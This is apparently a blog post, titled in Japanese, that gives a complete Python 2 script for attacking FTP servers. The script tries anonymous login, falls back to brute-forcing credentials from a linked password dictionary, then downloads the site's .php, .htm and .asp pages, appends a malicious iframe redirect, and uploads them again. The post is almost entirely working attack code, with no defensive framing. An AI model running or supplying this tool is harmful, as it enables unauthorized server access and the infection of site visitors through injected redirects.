PythonのFTPサーバー暴力解読(木馬注入)

パスワード辞書のダウンロード:[email protected]:qq_21792169/dictionary.git
ftp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time


def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]')
        print '
[*] ' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '
[-] ' + str(hostname) +\
          ' FTP Anonymous Logon Failed.'
        return False


def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('
')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '
[*] ' + str(hostname) +\
              ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '
[-] Could not brute force FTP credentials.'
    return (None, None)


def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
        retList.append(fileName)
    return retList


def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page

    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page

    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page


def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)


def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H  -r '+\
      '[-f ]')
    
    parser.add_option('-H', dest='tgtHosts',\
      type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile',\
      type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect',\
      type='string',help='specify a redirection page')

    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect

    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)

    for tgtHost in tgtHosts:
        username = None
        password = None

        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = '[email protected]'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
      
        elif passwdFile != None:
            (username, password) =\
              bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                  username + '/' + password + ' to attack'
                attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
    main()